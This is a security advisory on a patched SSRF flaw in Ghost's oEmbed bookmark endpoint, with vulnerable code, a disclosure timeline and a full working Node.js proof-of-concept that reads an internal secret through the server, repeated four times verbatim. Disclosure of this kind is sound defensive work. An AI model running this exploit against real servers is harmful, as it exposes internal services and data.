
Ghost 6.0.6 - SSRF via oEmbed Bookmark
6,1
Medium
Discovered by
Offensive Team, Fluid Attacks
Summary
Full name
Ghost 6.0.6 - SSRF via oEmbed Bookmark
Code name
State
Public
Release date
17 de set. de 2025
Affected product
Ghost
Vendor
Ghost
Affected version(s)
5.99.0 - 5.130.3, 6.0.0 - 6.0.8
Fixed version(s)
5.130.4, 6.0.9
Vulnerability name
Server-side request forgery (SSRF)
Vulnerability type
Remotely exploitable
Yes
CVSS v4.0 vector string
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
CVSS v4.0 base score
6.1
Exploit available
Yes
CVE ID(s)
Description
Ghost uses the oEmbed API to fetch metadata from external URLs. This API is used to fetch metadata from external URLs, such as images, videos, and other media. The API does not properly validate access to internal resources, allowing an attacker to exploit a Server-Side Request Forgery (SSRF).
Vulnerability
The vulnerability occurs when the /oembed endpoint is consumed, instructing that the type parameter equals 'bookmark'. This will use the function fetchBookmarkData:
if (type === 'bookmark') { return this.fetchBookmarkData(url, body, type); }
if (type === 'bookmark') { return this.fetchBookmarkData(url, body, type); }
if (type === 'bookmark') { return this.fetchBookmarkData(url, body, type); }
if (type === 'bookmark') { return this.fetchBookmarkData(url, body, type); }
This function has a conditional statement in which, if the type is different from the one mentioned, it will use the function processImageFromUrl to process the icon and thumbnail:
if (type === 'mention') { if (metadata.icon) { try { await this.externalRequest.head(metadata.icon); } catch (err) { metadata.icon = 'https://static.ghost.org/v5.0.0/images/link-icon.svg'; logging.error(err); } } } else { await this.processImageFromUrl(metadata.icon, 'icon') .then((processedImageUrl) => { metadata.icon = processedImageUrl; }).catch((err) => { metadata.icon = 'https://static.ghost.org/v5.0.0/images/link-icon.svg'; logging.error(err); }); await this.processImageFromUrl(metadata.thumbnail, 'thumbnail') .then((processedImageUrl) => { metadata.thumbnail = processedImageUrl; }).catch((err) => { logging.error(err); }); }
if (type === 'mention') { if (metadata.icon) { try { await this.externalRequest.head(metadata.icon); } catch (err) { metadata.icon = 'https://static.ghost.org/v5.0.0/images/link-icon.svg'; logging.error(err); } } } else { await this.processImageFromUrl(metadata.icon, 'icon') .then((processedImageUrl) => { metadata.icon = processedImageUrl; }).catch((err) => { metadata.icon = 'https://static.ghost.org/v5.0.0/images/link-icon.svg'; logging.error(err); }); await this.processImageFromUrl(metadata.thumbnail, 'thumbnail') .then((processedImageUrl) => { metadata.thumbnail = processedImageUrl; }).catch((err) => { logging.error(err); }); }
if (type === 'mention') { if (metadata.icon) { try { await this.externalRequest.head(metadata.icon); } catch (err) { metadata.icon = 'https://static.ghost.org/v5.0.0/images/link-icon.svg'; logging.error(err); } } } else { await this.processImageFromUrl(metadata.icon, 'icon') .then((processedImageUrl) => { metadata.icon = processedImageUrl; }).catch((err) => { metadata.icon = 'https://static.ghost.org/v5.0.0/images/link-icon.svg'; logging.error(err); }); await this.processImageFromUrl(metadata.thumbnail, 'thumbnail') .then((processedImageUrl) => { metadata.thumbnail = processedImageUrl; }).catch((err) => { logging.error(err); }); }
if (type === 'mention') { if (metadata.icon) { try { await this.externalRequest.head(metadata.icon); } catch (err) { metadata.icon = 'https://static.ghost.org/v5.0.0/images/link-icon.svg'; logging.error(err); } } } else { await this.processImageFromUrl(metadata.icon, 'icon') .then((processedImageUrl) => { metadata.icon = processedImageUrl; }).catch((err) => { metadata.icon = 'https://static.ghost.org/v5.0.0/images/link-icon.svg'; logging.error(err); }); await this.processImageFromUrl(metadata.thumbnail, 'thumbnail') .then((processedImageUrl) => { metadata.thumbnail = processedImageUrl; }).catch((err) => { logging.error(err); }); }
This function will use the function fetchImageBuffer to fetch the image buffer from the URL:
async processImageFromUrl(imageUrl, imageType) { // Fetch image buffer from the URL const imageBuffer = await this.fetchImageBuffer(imageUrl);
async processImageFromUrl(imageUrl, imageType) { // Fetch image buffer from the URL const imageBuffer = await this.fetchImageBuffer(imageUrl);
async processImageFromUrl(imageUrl, imageType) { // Fetch image buffer from the URL const imageBuffer = await this.fetchImageBuffer(imageUrl);
async processImageFromUrl(imageUrl, imageType) { // Fetch image buffer from the URL const imageBuffer = await this.fetchImageBuffer(imageUrl);
This function executes a fetch without verifying the content type or the URL destination, allowing the server to be tricked into obtaining the content of any internal page.
async fetchImageBuffer(imageUrl) { const response = await fetch(imageUrl); if (!response.ok) { throw Error(`Failed to fetch image: ${response.statusText}`); } const arrayBuffer = await response.arrayBuffer(); const buffer = Buffer.from(arrayBuffer); return buffer; }
async fetchImageBuffer(imageUrl) { const response = await fetch(imageUrl); if (!response.ok) { throw Error(`Failed to fetch image: ${response.statusText}`); } const arrayBuffer = await response.arrayBuffer(); const buffer = Buffer.from(arrayBuffer); return buffer; }
async fetchImageBuffer(imageUrl) { const response = await fetch(imageUrl); if (!response.ok) { throw Error(`Failed to fetch image: ${response.statusText}`); } const arrayBuffer = await response.arrayBuffer(); const buffer = Buffer.from(arrayBuffer); return buffer; }
async fetchImageBuffer(imageUrl) { const response = await fetch(imageUrl); if (!response.ok) { throw Error(`Failed to fetch image: ${response.statusText}`); } const arrayBuffer = await response.arrayBuffer(); const buffer = Buffer.from(arrayBuffer); return buffer; }
PoC
// Automatic SSRF PoC for Ghost oEmbed Bookmark // - Starts two local servers: // * Internal service at http://127.0.0.1:5555/secret (localhost-only access) // * Attacker page at http://127.0.0.1:8081/ (icon/og:image -> internal /secret) // - Automatically logs into Ghost Admin via /ghost/api/admin/session // - Triggers /ghost/api/admin/oembed for the attacker page // - Fetches metadata.icon (saved by Ghost) and prints exfiltrated content // Configure with env vars (optional): // GHOST_URL, GHOST_USERNAME, GHOST_PASSWORD const http = require('http'); // Config const INTERNAL_HOST = '127.0.0.1'; const INTERNAL_PORT = 5555; // Simulated sensitive internal service const ATTACKER_HOST = '127.0.0.1'; const ATTACKER_PORT = 8081; // Attacker-controlled page const GHOST_URL = process.env.GHOST_URL || 'http://localhost:2368'; const GHOST_ORIGIN = new URL(GHOST_URL).origin; const GHOST_REFERER = `${GHOST_ORIGIN}/ghost/`; // Demo credentials (override via env GHOST_USERNAME / GHOST_PASSWORD) const GHOST_USERNAME = process.env.GHOST_USERNAME || 'test@yopmail.com'; const GHOST_PASSWORD = process.env.GHOST_PASSWORD || 'Test1234@@'; // Internal sensitive service const internalServer = http.createServer((req, res) => { const now = new Date().toISOString(); console.log(`[INTERNAL] ${now} ${req.method} ${req.url} from ${req.socket.remoteAddress}:${req.socket.remotePort}`); if (req.url === '/secret') { // Allow access ONLY from localhost const ra = req.socket.remoteAddress; const isLocal = ra === '127.0.0.1' || ra === '::1' || ra === '::ffff:127.0.0.1'; if (!isLocal) { res.writeHead(403, {'Content-Type': 'text/plain'}); res.end('Forbidden'); return; } const body = `INTERNAL_SECRET_TOKEN=top-secret-123\nTIMESTAMP=${now}\n`; res.writeHead(200, { 'Content-Type': 'text/plain', 'Content-Length': Buffer.byteLength(body) }); res.end(body); return; } res.writeHead(404, {'Content-Type': 'text/plain'}); res.end('Not Found'); }); // Attacker site serving bookmark HTML that points to internal resource const attackerServer = http.createServer((req, res) => { const now = new Date().toISOString(); console.log(`[ATTACKER] ${now} ${req.method} ${req.url} from ${req.socket.remoteAddress}:${req.socket.remotePort}`); // Basic HTML with icon + og:image set to internal service const internalUrl = `http://${INTERNAL_HOST}:${INTERNAL_PORT}/secret`; const html = `<!doctype html> <html> <head> <meta charset="utf-8"> <title>SSRF PoC</title> <meta property="og:title" content="SSRF PoC" /> <meta property="og:description" content="Bookmark SSRF demo" /> <meta property="og:image" content="${internalUrl}" /> <link rel="icon" href="${internalUrl}"> </head> <body> <h1>Ghost SSRF PoC</h1> <p>This page sets icon/og:image to ${internalUrl}</p> </body> </html>`; res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8', 'Content-Length': Buffer.byteLength(html) }); res.end(html); }); internalServer.listen(INTERNAL_PORT, INTERNAL_HOST, () => { console.log(`[*] Internal service listening at http://${INTERNAL_HOST}:${INTERNAL_PORT}/secret`); }); attackerServer.listen(ATTACKER_PORT, ATTACKER_HOST, () => { console.log(`[*] Attacker page listening at http://${ATTACKER_HOST}:${ATTACKER_PORT}/`); console.log('[*] Running automatic flow: login → oEmbed → exfiltrate'); runAutomaticFlow().catch((e) => { console.error('[!] Automatic PoC failed:', e); }); }); async function loginAndGetCookie() { const url = `${GHOST_URL}/ghost/api/admin/session`; const payload = { username: GHOST_USERNAME, password: GHOST_PASSWORD }; console.log(`[*] Logging in to ${url} as ${GHOST_USERNAME}`); const res = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json;charset=utf-8', 'X-Ghost-Version': '6.0', 'Origin': GHOST_ORIGIN, 'Referer': GHOST_REFERER, 'Accept': 'application/json' }, body: JSON.stringify(payload), redirect: 'manual' }); let setCookies = []; // undici (Node.js fetch) provides getSetCookie() if (typeof res.headers.getSetCookie === 'function') { try { setCookies = res.headers.getSetCookie(); } catch {} } // fallback for node-fetch style (not present in undici) if (setCookies.length === 0 && typeof res.headers.raw === 'function') { try { setCookies = res.headers.raw()['set-cookie'] || []; } catch {} } // last resort: single Set-Cookie header if (setCookies.length === 0) { const single = res.headers.get('set-cookie'); if (single) setCookies = [single]; } if (setCookies.length === 0) { const text = await res.text().catch(() => ''); throw new Error(`Login did not return a session cookie (status ${res.status}). Body: ${text}`); } // Simple cookie jar: only keep name=value pairs const cookie = setCookies.map(c => (c.split(';')[0])).join('; '); console.log('[*] Login successful, cookies captured'); return cookie; } async function triggerOembed(cookie) { const attackerUrl = `http://${ATTACKER_HOST}:${ATTACKER_PORT}/`; const url = `${GHOST_URL}/ghost/api/admin/oembed/?type=bookmark&url=${encodeURIComponent(attackerUrl)}`; console.log(`[*] Requesting oEmbed for ${attackerUrl}`); const res = await fetch(url, { headers: { 'X-Requested-With': 'XMLHttpRequest', 'Referer': GHOST_REFERER, 'Cookie': cookie, 'Accept': 'application/json' } }); if (!res.ok) { const text = await res.text().catch(() => ''); throw new Error(`oEmbed request failed (${res.status}): ${text}`); } const data = await res.json(); const iconUrl = data?.metadata?.icon || data?.metadata?.thumbnail; if (!iconUrl) { throw new Error('No metadata.icon or metadata.thumbnail in oEmbed response'); } console.log(`[*] oEmbed returned icon: ${iconUrl}`); return iconUrl; } async function fetchExfiltrated(iconUrl) { console.log(`[*] Fetching exfiltrated content from ${iconUrl}`); const res = await fetch(iconUrl); if (!res.ok) { const text = await res.text().catch(() => ''); throw new Error(`Failed to fetch exfiltrated content (${res.status}): ${text}`); } const body = await res.text(); console.log('----- Exfiltrated Content -----'); console.log(body); console.log('-------------------------------'); } async function runAutomaticFlow() { // Give the servers a moment to start await new Promise(r => setTimeout(r, 500)); const cookie = await loginAndGetCookie(); const iconUrl = await triggerOembed(cookie); await fetchExfiltrated(iconUrl); }
// Automatic SSRF PoC for Ghost oEmbed Bookmark // - Starts two local servers: // * Internal service at http://127.0.0.1:5555/secret (localhost-only access) // * Attacker page at http://127.0.0.1:8081/ (icon/og:image -> internal /secret) // - Automatically logs into Ghost Admin via /ghost/api/admin/session // - Triggers /ghost/api/admin/oembed for the attacker page // - Fetches metadata.icon (saved by Ghost) and prints exfiltrated content // Configure with env vars (optional): // GHOST_URL, GHOST_USERNAME, GHOST_PASSWORD const http = require('http'); // Config const INTERNAL_HOST = '127.0.0.1'; const INTERNAL_PORT = 5555; // Simulated sensitive internal service const ATTACKER_HOST = '127.0.0.1'; const ATTACKER_PORT = 8081; // Attacker-controlled page const GHOST_URL = process.env.GHOST_URL || 'http://localhost:2368'; const GHOST_ORIGIN = new URL(GHOST_URL).origin; const GHOST_REFERER = `${GHOST_ORIGIN}/ghost/`; // Demo credentials (override via env GHOST_USERNAME / GHOST_PASSWORD) const GHOST_USERNAME = process.env.GHOST_USERNAME || 'test@yopmail.com'; const GHOST_PASSWORD = process.env.GHOST_PASSWORD || 'Test1234@@'; // Internal sensitive service const internalServer = http.createServer((req, res) => { const now = new Date().toISOString(); console.log(`[INTERNAL] ${now} ${req.method} ${req.url} from ${req.socket.remoteAddress}:${req.socket.remotePort}`); if (req.url === '/secret') { // Allow access ONLY from localhost const ra = req.socket.remoteAddress; const isLocal = ra === '127.0.0.1' || ra === '::1' || ra === '::ffff:127.0.0.1'; if (!isLocal) { res.writeHead(403, {'Content-Type': 'text/plain'}); res.end('Forbidden'); return; } const body = `INTERNAL_SECRET_TOKEN=top-secret-123\nTIMESTAMP=${now}\n`; res.writeHead(200, { 'Content-Type': 'text/plain', 'Content-Length': Buffer.byteLength(body) }); res.end(body); return; } res.writeHead(404, {'Content-Type': 'text/plain'}); res.end('Not Found'); }); // Attacker site serving bookmark HTML that points to internal resource const attackerServer = http.createServer((req, res) => { const now = new Date().toISOString(); console.log(`[ATTACKER] ${now} ${req.method} ${req.url} from ${req.socket.remoteAddress}:${req.socket.remotePort}`); // Basic HTML with icon + og:image set to internal service const internalUrl = `http://${INTERNAL_HOST}:${INTERNAL_PORT}/secret`; const html = `<!doctype html> <html> <head> <meta charset="utf-8"> <title>SSRF PoC</title> <meta property="og:title" content="SSRF PoC" /> <meta property="og:description" content="Bookmark SSRF demo" /> <meta property="og:image" content="${internalUrl}" /> <link rel="icon" href="${internalUrl}"> </head> <body> <h1>Ghost SSRF PoC</h1> <p>This page sets icon/og:image to ${internalUrl}</p> </body> </html>`; res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8', 'Content-Length': Buffer.byteLength(html) }); res.end(html); }); internalServer.listen(INTERNAL_PORT, INTERNAL_HOST, () => { console.log(`[*] Internal service listening at http://${INTERNAL_HOST}:${INTERNAL_PORT}/secret`); }); attackerServer.listen(ATTACKER_PORT, ATTACKER_HOST, () => { console.log(`[*] Attacker page listening at http://${ATTACKER_HOST}:${ATTACKER_PORT}/`); console.log('[*] Running automatic flow: login → oEmbed → exfiltrate'); runAutomaticFlow().catch((e) => { console.error('[!] Automatic PoC failed:', e); }); }); async function loginAndGetCookie() { const url = `${GHOST_URL}/ghost/api/admin/session`; const payload = { username: GHOST_USERNAME, password: GHOST_PASSWORD }; console.log(`[*] Logging in to ${url} as ${GHOST_USERNAME}`); const res = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json;charset=utf-8', 'X-Ghost-Version': '6.0', 'Origin': GHOST_ORIGIN, 'Referer': GHOST_REFERER, 'Accept': 'application/json' }, body: JSON.stringify(payload), redirect: 'manual' }); let setCookies = []; // undici (Node.js fetch) provides getSetCookie() if (typeof res.headers.getSetCookie === 'function') { try { setCookies = res.headers.getSetCookie(); } catch {} } // fallback for node-fetch style (not present in undici) if (setCookies.length === 0 && typeof res.headers.raw === 'function') { try { setCookies = res.headers.raw()['set-cookie'] || []; } catch {} } // last resort: single Set-Cookie header if (setCookies.length === 0) { const single = res.headers.get('set-cookie'); if (single) setCookies = [single]; } if (setCookies.length === 0) { const text = await res.text().catch(() => ''); throw new Error(`Login did not return a session cookie (status ${res.status}). Body: ${text}`); } // Simple cookie jar: only keep name=value pairs const cookie = setCookies.map(c => (c.split(';')[0])).join('; '); console.log('[*] Login successful, cookies captured'); return cookie; } async function triggerOembed(cookie) { const attackerUrl = `http://${ATTACKER_HOST}:${ATTACKER_PORT}/`; const url = `${GHOST_URL}/ghost/api/admin/oembed/?type=bookmark&url=${encodeURIComponent(attackerUrl)}`; console.log(`[*] Requesting oEmbed for ${attackerUrl}`); const res = await fetch(url, { headers: { 'X-Requested-With': 'XMLHttpRequest', 'Referer': GHOST_REFERER, 'Cookie': cookie, 'Accept': 'application/json' } }); if (!res.ok) { const text = await res.text().catch(() => ''); throw new Error(`oEmbed request failed (${res.status}): ${text}`); } const data = await res.json(); const iconUrl = data?.metadata?.icon || data?.metadata?.thumbnail; if (!iconUrl) { throw new Error('No metadata.icon or metadata.thumbnail in oEmbed response'); } console.log(`[*] oEmbed returned icon: ${iconUrl}`); return iconUrl; } async function fetchExfiltrated(iconUrl) { console.log(`[*] Fetching exfiltrated content from ${iconUrl}`); const res = await fetch(iconUrl); if (!res.ok) { const text = await res.text().catch(() => ''); throw new Error(`Failed to fetch exfiltrated content (${res.status}): ${text}`); } const body = await res.text(); console.log('----- Exfiltrated Content -----'); console.log(body); console.log('-------------------------------'); } async function runAutomaticFlow() { // Give the servers a moment to start await new Promise(r => setTimeout(r, 500)); const cookie = await loginAndGetCookie(); const iconUrl = await triggerOembed(cookie); await fetchExfiltrated(iconUrl); }
// Automatic SSRF PoC for Ghost oEmbed Bookmark // - Starts two local servers: // * Internal service at http://127.0.0.1:5555/secret (localhost-only access) // * Attacker page at http://127.0.0.1:8081/ (icon/og:image -> internal /secret) // - Automatically logs into Ghost Admin via /ghost/api/admin/session // - Triggers /ghost/api/admin/oembed for the attacker page // - Fetches metadata.icon (saved by Ghost) and prints exfiltrated content // Configure with env vars (optional): // GHOST_URL, GHOST_USERNAME, GHOST_PASSWORD const http = require('http'); // Config const INTERNAL_HOST = '127.0.0.1'; const INTERNAL_PORT = 5555; // Simulated sensitive internal service const ATTACKER_HOST = '127.0.0.1'; const ATTACKER_PORT = 8081; // Attacker-controlled page const GHOST_URL = process.env.GHOST_URL || 'http://localhost:2368'; const GHOST_ORIGIN = new URL(GHOST_URL).origin; const GHOST_REFERER = `${GHOST_ORIGIN}/ghost/`; // Demo credentials (override via env GHOST_USERNAME / GHOST_PASSWORD) const GHOST_USERNAME = process.env.GHOST_USERNAME || 'test@yopmail.com'; const GHOST_PASSWORD = process.env.GHOST_PASSWORD || 'Test1234@@'; // Internal sensitive service const internalServer = http.createServer((req, res) => { const now = new Date().toISOString(); console.log(`[INTERNAL] ${now} ${req.method} ${req.url} from ${req.socket.remoteAddress}:${req.socket.remotePort}`); if (req.url === '/secret') { // Allow access ONLY from localhost const ra = req.socket.remoteAddress; const isLocal = ra === '127.0.0.1' || ra === '::1' || ra === '::ffff:127.0.0.1'; if (!isLocal) { res.writeHead(403, {'Content-Type': 'text/plain'}); res.end('Forbidden'); return; } const body = `INTERNAL_SECRET_TOKEN=top-secret-123\nTIMESTAMP=${now}\n`; res.writeHead(200, { 'Content-Type': 'text/plain', 'Content-Length': Buffer.byteLength(body) }); res.end(body); return; } res.writeHead(404, {'Content-Type': 'text/plain'}); res.end('Not Found'); }); // Attacker site serving bookmark HTML that points to internal resource const attackerServer = http.createServer((req, res) => { const now = new Date().toISOString(); console.log(`[ATTACKER] ${now} ${req.method} ${req.url} from ${req.socket.remoteAddress}:${req.socket.remotePort}`); // Basic HTML with icon + og:image set to internal service const internalUrl = `http://${INTERNAL_HOST}:${INTERNAL_PORT}/secret`; const html = `<!doctype html> <html> <head> <meta charset="utf-8"> <title>SSRF PoC</title> <meta property="og:title" content="SSRF PoC" /> <meta property="og:description" content="Bookmark SSRF demo" /> <meta property="og:image" content="${internalUrl}" /> <link rel="icon" href="${internalUrl}"> </head> <body> <h1>Ghost SSRF PoC</h1> <p>This page sets icon/og:image to ${internalUrl}</p> </body> </html>`; res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8', 'Content-Length': Buffer.byteLength(html) }); res.end(html); }); internalServer.listen(INTERNAL_PORT, INTERNAL_HOST, () => { console.log(`[*] Internal service listening at http://${INTERNAL_HOST}:${INTERNAL_PORT}/secret`); }); attackerServer.listen(ATTACKER_PORT, ATTACKER_HOST, () => { console.log(`[*] Attacker page listening at http://${ATTACKER_HOST}:${ATTACKER_PORT}/`); console.log('[*] Running automatic flow: login → oEmbed → exfiltrate'); runAutomaticFlow().catch((e) => { console.error('[!] Automatic PoC failed:', e); }); }); async function loginAndGetCookie() { const url = `${GHOST_URL}/ghost/api/admin/session`; const payload = { username: GHOST_USERNAME, password: GHOST_PASSWORD }; console.log(`[*] Logging in to ${url} as ${GHOST_USERNAME}`); const res = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json;charset=utf-8', 'X-Ghost-Version': '6.0', 'Origin': GHOST_ORIGIN, 'Referer': GHOST_REFERER, 'Accept': 'application/json' }, body: JSON.stringify(payload), redirect: 'manual' }); let setCookies = []; // undici (Node.js fetch) provides getSetCookie() if (typeof res.headers.getSetCookie === 'function') { try { setCookies = res.headers.getSetCookie(); } catch {} } // fallback for node-fetch style (not present in undici) if (setCookies.length === 0 && typeof res.headers.raw === 'function') { try { setCookies = res.headers.raw()['set-cookie'] || []; } catch {} } // last resort: single Set-Cookie header if (setCookies.length === 0) { const single = res.headers.get('set-cookie'); if (single) setCookies = [single]; } if (setCookies.length === 0) { const text = await res.text().catch(() => ''); throw new Error(`Login did not return a session cookie (status ${res.status}). Body: ${text}`); } // Simple cookie jar: only keep name=value pairs const cookie = setCookies.map(c => (c.split(';')[0])).join('; '); console.log('[*] Login successful, cookies captured'); return cookie; } async function triggerOembed(cookie) { const attackerUrl = `http://${ATTACKER_HOST}:${ATTACKER_PORT}/`; const url = `${GHOST_URL}/ghost/api/admin/oembed/?type=bookmark&url=${encodeURIComponent(attackerUrl)}`; console.log(`[*] Requesting oEmbed for ${attackerUrl}`); const res = await fetch(url, { headers: { 'X-Requested-With': 'XMLHttpRequest', 'Referer': GHOST_REFERER, 'Cookie': cookie, 'Accept': 'application/json' } }); if (!res.ok) { const text = await res.text().catch(() => ''); throw new Error(`oEmbed request failed (${res.status}): ${text}`); } const data = await res.json(); const iconUrl = data?.metadata?.icon || data?.metadata?.thumbnail; if (!iconUrl) { throw new Error('No metadata.icon or metadata.thumbnail in oEmbed response'); } console.log(`[*] oEmbed returned icon: ${iconUrl}`); return iconUrl; } async function fetchExfiltrated(iconUrl) { console.log(`[*] Fetching exfiltrated content from ${iconUrl}`); const res = await fetch(iconUrl); if (!res.ok) { const text = await res.text().catch(() => ''); throw new Error(`Failed to fetch exfiltrated content (${res.status}): ${text}`); } const body = await res.text(); console.log('----- Exfiltrated Content -----'); console.log(body); console.log('-------------------------------'); } async function runAutomaticFlow() { // Give the servers a moment to start await new Promise(r => setTimeout(r, 500)); const cookie = await loginAndGetCookie(); const iconUrl = await triggerOembed(cookie); await fetchExfiltrated(iconUrl); }
// Automatic SSRF PoC for Ghost oEmbed Bookmark // - Starts two local servers: // * Internal service at http://127.0.0.1:5555/secret (localhost-only access) // * Attacker page at http://127.0.0.1:8081/ (icon/og:image -> internal /secret) // - Automatically logs into Ghost Admin via /ghost/api/admin/session // - Triggers /ghost/api/admin/oembed for the attacker page // - Fetches metadata.icon (saved by Ghost) and prints exfiltrated content // Configure with env vars (optional): // GHOST_URL, GHOST_USERNAME, GHOST_PASSWORD const http = require('http'); // Config const INTERNAL_HOST = '127.0.0.1'; const INTERNAL_PORT = 5555; // Simulated sensitive internal service const ATTACKER_HOST = '127.0.0.1'; const ATTACKER_PORT = 8081; // Attacker-controlled page const GHOST_URL = process.env.GHOST_URL || 'http://localhost:2368'; const GHOST_ORIGIN = new URL(GHOST_URL).origin; const GHOST_REFERER = `${GHOST_ORIGIN}/ghost/`; // Demo credentials (override via env GHOST_USERNAME / GHOST_PASSWORD) const GHOST_USERNAME = process.env.GHOST_USERNAME || 'test@yopmail.com'; const GHOST_PASSWORD = process.env.GHOST_PASSWORD || 'Test1234@@'; // Internal sensitive service const internalServer = http.createServer((req, res) => { const now = new Date().toISOString(); console.log(`[INTERNAL] ${now} ${req.method} ${req.url} from ${req.socket.remoteAddress}:${req.socket.remotePort}`); if (req.url === '/secret') { // Allow access ONLY from localhost const ra = req.socket.remoteAddress; const isLocal = ra === '127.0.0.1' || ra === '::1' || ra === '::ffff:127.0.0.1'; if (!isLocal) { res.writeHead(403, {'Content-Type': 'text/plain'}); res.end('Forbidden'); return; } const body = `INTERNAL_SECRET_TOKEN=top-secret-123\nTIMESTAMP=${now}\n`; res.writeHead(200, { 'Content-Type': 'text/plain', 'Content-Length': Buffer.byteLength(body) }); res.end(body); return; } res.writeHead(404, {'Content-Type': 'text/plain'}); res.end('Not Found'); }); // Attacker site serving bookmark HTML that points to internal resource const attackerServer = http.createServer((req, res) => { const now = new Date().toISOString(); console.log(`[ATTACKER] ${now} ${req.method} ${req.url} from ${req.socket.remoteAddress}:${req.socket.remotePort}`); // Basic HTML with icon + og:image set to internal service const internalUrl = `http://${INTERNAL_HOST}:${INTERNAL_PORT}/secret`; const html = `<!doctype html> <html> <head> <meta charset="utf-8"> <title>SSRF PoC</title> <meta property="og:title" content="SSRF PoC" /> <meta property="og:description" content="Bookmark SSRF demo" /> <meta property="og:image" content="${internalUrl}" /> <link rel="icon" href="${internalUrl}"> </head> <body> <h1>Ghost SSRF PoC</h1> <p>This page sets icon/og:image to ${internalUrl}</p> </body> </html>`; res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8', 'Content-Length': Buffer.byteLength(html) }); res.end(html); }); internalServer.listen(INTERNAL_PORT, INTERNAL_HOST, () => { console.log(`[*] Internal service listening at http://${INTERNAL_HOST}:${INTERNAL_PORT}/secret`); }); attackerServer.listen(ATTACKER_PORT, ATTACKER_HOST, () => { console.log(`[*] Attacker page listening at http://${ATTACKER_HOST}:${ATTACKER_PORT}/`); console.log('[*] Running automatic flow: login → oEmbed → exfiltrate'); runAutomaticFlow().catch((e) => { console.error('[!] Automatic PoC failed:', e); }); }); async function loginAndGetCookie() { const url = `${GHOST_URL}/ghost/api/admin/session`; const payload = { username: GHOST_USERNAME, password: GHOST_PASSWORD }; console.log(`[*] Logging in to ${url} as ${GHOST_USERNAME}`); const res = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json;charset=utf-8', 'X-Ghost-Version': '6.0', 'Origin': GHOST_ORIGIN, 'Referer': GHOST_REFERER, 'Accept': 'application/json' }, body: JSON.stringify(payload), redirect: 'manual' }); let setCookies = []; // undici (Node.js fetch) provides getSetCookie() if (typeof res.headers.getSetCookie === 'function') { try { setCookies = res.headers.getSetCookie(); } catch {} } // fallback for node-fetch style (not present in undici) if (setCookies.length === 0 && typeof res.headers.raw === 'function') { try { setCookies = res.headers.raw()['set-cookie'] || []; } catch {} } // last resort: single Set-Cookie header if (setCookies.length === 0) { const single = res.headers.get('set-cookie'); if (single) setCookies = [single]; } if (setCookies.length === 0) { const text = await res.text().catch(() => ''); throw new Error(`Login did not return a session cookie (status ${res.status}). Body: ${text}`); } // Simple cookie jar: only keep name=value pairs const cookie = setCookies.map(c => (c.split(';')[0])).join('; '); console.log('[*] Login successful, cookies captured'); return cookie; } async function triggerOembed(cookie) { const attackerUrl = `http://${ATTACKER_HOST}:${ATTACKER_PORT}/`; const url = `${GHOST_URL}/ghost/api/admin/oembed/?type=bookmark&url=${encodeURIComponent(attackerUrl)}`; console.log(`[*] Requesting oEmbed for ${attackerUrl}`); const res = await fetch(url, { headers: { 'X-Requested-With': 'XMLHttpRequest', 'Referer': GHOST_REFERER, 'Cookie': cookie, 'Accept': 'application/json' } }); if (!res.ok) { const text = await res.text().catch(() => ''); throw new Error(`oEmbed request failed (${res.status}): ${text}`); } const data = await res.json(); const iconUrl = data?.metadata?.icon || data?.metadata?.thumbnail; if (!iconUrl) { throw new Error('No metadata.icon or metadata.thumbnail in oEmbed response'); } console.log(`[*] oEmbed returned icon: ${iconUrl}`); return iconUrl; } async function fetchExfiltrated(iconUrl) { console.log(`[*] Fetching exfiltrated content from ${iconUrl}`); const res = await fetch(iconUrl); if (!res.ok) { const text = await res.text().catch(() => ''); throw new Error(`Failed to fetch exfiltrated content (${res.status}): ${text}`); } const body = await res.text(); console.log('----- Exfiltrated Content -----'); console.log(body); console.log('-------------------------------'); } async function runAutomaticFlow() { // Give the servers a moment to start await new Promise(r => setTimeout(r, 500)); const cookie = await loginAndGetCookie(); const iconUrl = await triggerOembed(cookie); await fetchExfiltrated(iconUrl); }
Evidence of Exploitation

Our security policy
We have reserved the ID CVE-2025-9862 to refer to this issue from now on.
System Information
Ghost.
Version: 6.0.0 - 6.0.8 and 5.99.0 - 5.130.3.
Operating System: Any.
References
Github Repository: https://github.com/TryGhost/Ghost
Patch: https://github.com/TryGhost/Ghost/releases/tag/v6.0.9
Vendor Advisory: https://github.com/TryGhost/Ghost/security/advisories/GHSA-f7qg-xj45-w956
Mitigation
An updated version of Ghost is available at the vendor page.
Credits
The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.
Timeline
1 de set. de 2025
Vulnerability discovered
2 de set. de 2025
Vendor contacted
3 de set. de 2025
Vendor replied
8 de set. de 2025
Vendor confirmed
14 de set. de 2025
Vulnerability patched
17 de set. de 2025
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.
Assine nossa newsletter
Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.
© 2026 Fluid Attacks. We hack your software.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.
Assine nossa newsletter
Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.
Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.
© 2026 Fluid Attacks. We hack your software.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.
Assine nossa newsletter
